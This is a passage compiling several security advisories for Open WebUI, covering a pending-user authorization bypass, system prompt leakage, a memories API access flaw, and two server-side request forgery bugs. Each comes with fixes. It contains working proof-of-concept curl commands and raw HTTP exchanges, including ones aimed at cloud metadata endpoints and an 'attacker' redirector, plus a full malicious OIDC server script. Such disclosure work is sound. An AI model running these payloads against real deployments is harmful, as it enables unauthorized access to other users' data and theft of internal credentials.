http GET /ollama/api/tags HTTP/1.1 Host: openwebui.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs
Response
http HTTP/1.1 200 OK ...
{ "models": [ { "name": "ollama.com/emsi/mixtral-8x22b:latest", "model": "ollama.com/emsi/mixtral-8x22b:latest", "modifiedat": "2024-04-12T17:27:51.479356401-04:00", "size": 79509285991, "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319", "details": { "parentmodel": "", "format": "gguf", "family": "llama", "families": ["llama"], "parametersize": "141B", "quantizationlevel": "Q40" }, "urls": [0] }, ... ] }
The logic for this endpoint can be seen here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180>
As shown below, the login checks if urlidx is None and if so, call getallmdoels and assign the result to models after that the logic checks if app.state.MODELFILTERENABLED is true and if not, it returns the result. As MODELFILTERENABLED is not configured by default, the application will not attempt to further validate the user.
python @app.get("/api/tags") @app.get("/api/tags/{urlidx}") async def getollamatags( urlidx: Optional[int] = None, user=Depends(getcurrentuser) ): if urlidx == None: models = await getallmodels() if app.state.MODELFILTERENABLED: if user.role == "user": models["models"] = list( filter( lambda model: model["name"] in app.state.MODELFILTERLIST, models["models"], ) ) return models return models
This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.
The vulnerability is caused by a missing authorization check that occurs with user=Depends(getcurrentuser). The logic of that function is found here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97>
python def getcurrentuser( authtoken: HTTPAuthorizationCredentials = Depends(bearersecurity), ): # auth by api key if authtoken.credentials.startswith("sk-"): return getcurrentuserbyapikey(authtoken.credentials) # auth by jwt token data = decodetoken(authtoken.credentials) if data != None and "id" in data: user = Users.getuserbyid(data["id"]) if user is None: raise HTTPException( statuscode=status.HTTP401UNAUTHORIZED, detail=ERRORMESSAGES.INVALIDTOKEN, ) return user else: raise HTTPException( statuscode=status.HTTP401UNAUTHORIZED, detail=ERRORMESSAGES.UNAUTHORIZED, )
As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.
---
12. Proof-of-Concept
First, verify that an unauthenticated user receives {"detail":"401 Unauthorized"}:
bash curl -s -X $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ $'https://openwebui.example.com/ollama/api/tags'
The above curl command will return: {"detail":"401 Unauthorized"} as no Authorization Bearer token is provided.
Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the $JWT environment variable which will be utilized in the subsequent cURL command.
bash export JWT=$(curl -s -X POST \ -H 'Host: openwebui.example.com' -H 'Content-Length: 60' \ -H 'Content-Type: application/json' \ --data '{"name":"","email":"badguy@korelogic.com","password":"a"}' \ 'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"')
curl -v $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'https://openwebui.example.com/ollama/api/tags'
Additionally the "role":"pending" value in the HTTP response can be forged from POST /api/v1/auths/signin and GET /api/v1/auths/ to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying pending to user.
---
13. Mitigation Recommendation
The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116> for the correct function to use.
python def getverifieduser(user=Depends(getcurrentuser)): if user.role not in {"user", "admin"}: raise HTTPException( statuscode=status.HTTP401UNAUTHORIZED, detail=ERRORMESSAGES.ACCESSPROHIBITED, ) return user
Modify all authenticated endpoints to utilize getverifieduser() function instead of getcurrentuser().
Summary When setting model permissions so that a group has read access to it, intending for other users to use it, those users also can read the model's system prompt.
However users may consider their system prompt confidential, so we consider this a security issue.
Compare https://genai.owasp.org/llmrisk/llm072025-system-prompt-leakage/ or prompt injections to get popular chatbots on the internet to reveal their prompt.
Details
We discovered that users can open the workspace model edit page /workspace/models/edit?id=notmymodel for models that do not appear in their workspace.
Saving is not possible, that permission check is correct.
On the API level:
- /api/v1/models/model?id=notmymodel -> returns the model details, most importantly params.system - even though /api/v1/models/list does NOT contain the model since it checks for write permission. - /api/models contains the model correctly and does not reveal the system prompt.
It seems inconsistent that the REST API list does not contain an item, but if you know the id, you can access it anyway.
PoC - create model - give read permission to group with another user - other user can access /api/v1/models/model?id=notmymodel
Impact System prommpt leakage
If this is intended behavior for the "read" permission, maybe there should be an additional "use" permission (which would be 99% of use cases of the read permission i believe).
Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints
Summary
The validateurl() function in backend/openwebui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an imageurl content part, and any other route that calls these helpers.
Affected code paths
The bypass exists across multiple call sites; each independently follows redirects without re-validation.
Path 1 — sync scrape via SafeWebBaseLoader
backend/openwebui/retrieval/web/utils.py — SafeWebBaseLoader inherits from langchaincommunity.documentloaders.WebBaseLoader. The parent's scrape() calls self.session.get(url, self.requestskwargs). requestskwargs only sets timeout; allowredirects=False is not passed, so requests.Session.get() follows redirects with the default allowredirects=True. validateurl() is invoked once on the original URL only.
Path 2 — async fetch (aiohttp)
backend/openwebui/retrieval/web/utils.py — fetch() previously inherited the aiohttp default allowredirects=True. As of HEAD this path is fixed (allowredirects=False). Listed for completeness.
Path 3 — getcontentfromurl (sync requests.get)
backend/openwebui/retrieval/utils.py — response = requests.get(url, stream=True, timeout=30). No allowredirects=False. Reached via /api/v1/retrieval/process/web (file ingestion) and other routers that resolve external URLs.
Path 4 — loadurlimage (image edit)
backend/openwebui/routers/images.py — image-URL fetching helper used by the image-edit endpoint. Same pattern: validateurl() checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via /api/v1/images/edit.
Path 5 — getimagebase64fromurl (chat-completion image inlining)
backend/openwebui/utils/files.py — getimagebase64fromurl() is invoked from converturlimagestobase64() in backend/openwebui/utils/middleware.py on every /api/chat/completions request whose message content includes an imageurl part. The shared aiohttp session pool (backend/openwebui/utils/sessionpool.py) does not override the aiohttp default allowredirects=True, and the call site itself does not pass allowredirects=False. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.
Proof of concept
Authenticated low-privilege user; default config, no admin or special permissions required.
bash curl -X POST https://<target>/api/v1/retrieval/process/web \ -H "Authorization: Bearer <anyusertoken>" \ -H "Content-Type: application/json" \ -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&statuscode=302"}'
Response body contains the internal /api/config payload in file.data.content. Replace the redirect target with http://169.254.169.254/latest/meta-data/ for cloud metadata, or any internal hostname reachable from the server.
For the chat-completion path (Path 5), the same redirect is followed when an imageurl content part points to an attacker-controlled redirector:
bash curl -X POST https://<target>/api/chat/completions \ -H "Authorization: Bearer <anyusertoken>" \ -H "Content-Type: application/json" \ -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"imageurl","imageurl":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'
Impact
Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.
Recommended fix
For every call site that follows redirects, set allowredirects=False on the underlying HTTP client and add a per-hop validation loop using validateurl() on each Location: header.
Credits
Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.
- tenbbughunters — first to identify SafeWebBaseLoader sync scrape (Path 1) - YLChen-007 — first to identify loadurlimage (Path 4) - tempcollab — first to identify aiohttp fetch (Path 2) - sneaXOR — first to identify getcontentfromurl (Path 3) - nayakchinmohan — first to identify getimagebase64fromurl in chat-completion middleware (Path 5)
Summary
Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.
Details
Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. See below under the PoC section, where a call to GET /api/v1/memories/ returns [] (as expected) but a call to POST /api/v1/memories/query reveals memories created by other users.
Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memoryid}/update, the endpoint's response improperly leaks the content of that memory if a valid memoryid is known.
The DELETE /api/v1/memories/{memoryid} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memoryid}/update endpoint again.
PoC 1
Example of a user with no memories able to query an existing memory from another user
GET /api/v1/memories/ HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 0
---
HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:19:58 GMT server: uvicorn content-length: 2 content-type: application/json x-process-time: 0
[]
POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive
{ "content": "" }
---
HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:22:01 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 access-control-allow-origin: access-control-allow-credentials: true
{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"createdat":1752784616,"updatedat":1752864797}]],"distances":[[0.6216812525921495]]}
PoC 2
Example showing excess output about a memory a user has no access to modify
POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23
{ "content": "" }
---
HTTP/1.1 200 OK date: Fri, 18 Jul 2025 18:53:37 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0
{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","userid":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updatedat":1752864797,"createdat":1752784616}
PoC 3
Example showing a memory being deleted then restored by a different user than its owner
DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Connection: keep-alive
---
HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:31:19 GMT server: uvicorn content-length: 4 content-type: application/json x-process-time: 0
true
POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive
{ "content": "" }
---
HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:32:31 GMT server: uvicorn content-length: 63 content-type: application/json x-process-time: 0
{"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]}
POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23
{ "content": "" }
---
HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:05 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0
{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","userid":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updatedat":1752864797,"createdat":1752784616}
POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive
{ "content": "" }
---
HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:34 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0
{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"createdat":1752784616,"updatedat":1752864797}]],"distances":[[0.6216812525921495]]}
Impact
Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in processpictureurl() in backend/openwebui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validateurl(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.
Vulnerable Code python backend/openwebui/utils/oauth.py, line ~1337-1345 async def processpictureurl(self, pictureurl: str, accesstoken: str = None) -> str: # No validateurl() call here async with aiohttp.ClientSession(trustenv=True) as session: async with session.get(pictureurl, getkwargs, ssl=AIOHTTPCLIENTSESSIONSSL) as resp: if resp.ok: picture = await resp.read() base64encodedpicture = base64.b64encode(picture).decode('utf-8') return f'data:{guessedmimetype};base64,{base64encodedpicture}'
The codebase already uses validateurl() for the same SSRF protection pattern in other paths: - backend/openwebui/utils/files.py:38 - validateurl(url) before requests.get(url) - backend/openwebui/routers/images.py:800 - validateurl(data) before requests.get(data)
The omission in processpictureurl() is inconsistent with the project's own security practices.
Affected Code Paths
1. New user OAuth signup (line ~1556): pictureurl = await self.processpictureurl(pictureurl, token.get('accesstoken')) 2. Existing user picture update on login (line ~1536): when OAUTHUPDATEPICTUREONLOGIN=true
Steps to Reproduce
Prerequisites - Open WebUI instance with generic OIDC OAuth configured - ENABLEOAUTHSIGNUP=true
Setup
1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint: python """Minimal OIDC PoC server - save as pocoidc.py""" from http.server import HTTPServer, BaseHTTPRequestHandler import json, urllib.parse
SSRFTARGET = "http://host.docker.internal:9000/canary" CANARY = "SSRFCONFIRMEDOPENWEBUI"
class Handler(BaseHTTPRequestHandler): def doGET(self): path = urllib.parse.urlparse(self.path).path query = urllib.parse.parseqs(urllib.parse.urlparse(self.path).query) if path == "/.well-known/openid-configuration": self.json({"issuer":"http://host.docker.internal:9000", "authorizationendpoint":"http://localhost:9000/authorize", "tokenendpoint":"http://host.docker.internal:9000/token", "userinfoendpoint":"http://host.docker.internal:9000/userinfo", "jwksuri":"http://host.docker.internal:9000/jwks", "responsetypessupported":["code"],"subjecttypessupported":["public"], "idtokensigningalgvaluessupported":["RS256"], "tokenendpointauthmethodssupported":["clientsecretpost","clientsecretbasic"]}) elif path == "/authorize": ru = query.get("redirecturi",[""])[0] st = query.get("state",[""])[0] self.sendresponse(302) self.sendheader("Location", f"{ru}?code=poc-code&state={st}") self.endheaders() elif path == "/userinfo": self.json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRFTARGET}) elif path == "/jwks": self.json({"keys":[]}) elif path == "/canary": self.sendresponse(200) self.sendheader("Content-Type","text/plain") body = CANARY.encode() self.sendheader("Content-Length",len(body)) self.endheaders() self.wfile.write(body) print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!") else: self.sendresponse(404); self.endheaders() def doPOST(self): if "/token" in self.path: self.json({"accesstoken":"tok","tokentype":"bearer","expiresin":3600, "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRFTARGET}}) def json(self, d): b = json.dumps(d).encode() self.sendresponse(200) self.sendheader("Content-Type","application/json") self.sendheader("Content-Length",len(b)) self.endheaders() self.wfile.write(b)
HTTPServer(("0.0.0.0", 9000), Handler).serveforever()
2. Run the PoC server: bash python3 pocoidc.py
3. Start Open WebUI with Docker: bash docker run -d -p 3000:8080 \ --name owui-ssrf-test \ --add-host=host.docker.internal:host-gateway \ -e ENABLEOAUTHSIGNUP=true \ -e WEBUIAUTH=true \ -e OAUTHCLIENTID=test-client \ -e OAUTHCLIENTSECRET=test-secret \ -e OPENIDPROVIDERURL=http://host.docker.internal:9000/.well-known/openid-configuration \ -e OAUTHPROVIDERNAME=TestOIDC \ -e "OAUTHSCOPES=openid email profile" \ ghcr.io/open-webui/open-webui:main
4. Create an admin account at http://localhost:3000, then sign out.
5. Click "Continue with TestOIDC" on the login page.
6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!
7. Verify exfiltrated data is stored and readable: bash curl -s http://localhost:3000/api/v1/auths/ \ -H "Authorization: Bearer <session-token>" | python3 -c " import sys, json, base64 data = json.load(sys.stdin) url = data.get('profileimageurl', '') if 'base64,' in url: decoded = base64.b64decode(url.split('base64,',1)[1]).decode() print(f'DECODED: {decoded}') "
Result: DECODED: SSRFCONFIRMEDOPENWEBUI
The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profileimageurl, and the attacker can read it back via the API.
Impact
An attacker can force the Open WebUI server to make HTTP requests to:
- Cloud metadata endpoints (AWS IMDSv1 at http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials - Internal network services not exposed to the internet - Localhost-bound services (Redis, Elasticsearch, internal APIs)
This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profileimageurl field.
Configuration Note
This vulnerability requires ENABLEOAUTHSIGNUP=true (for the new-user path) or OAUTHUPDATEPICTUREONLOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.
Suggested Fix
Apply validateurl() before fetching, consistent with existing patterns in the codebase: python from openwebui.retrieval.web.utils import validateurl
async def processpictureurl(self, pictureurl: str, accesstoken: str = None) -> str: if not pictureurl: return '/user.png' try: validateurl(pictureurl) # Add this line # ... rest unchanged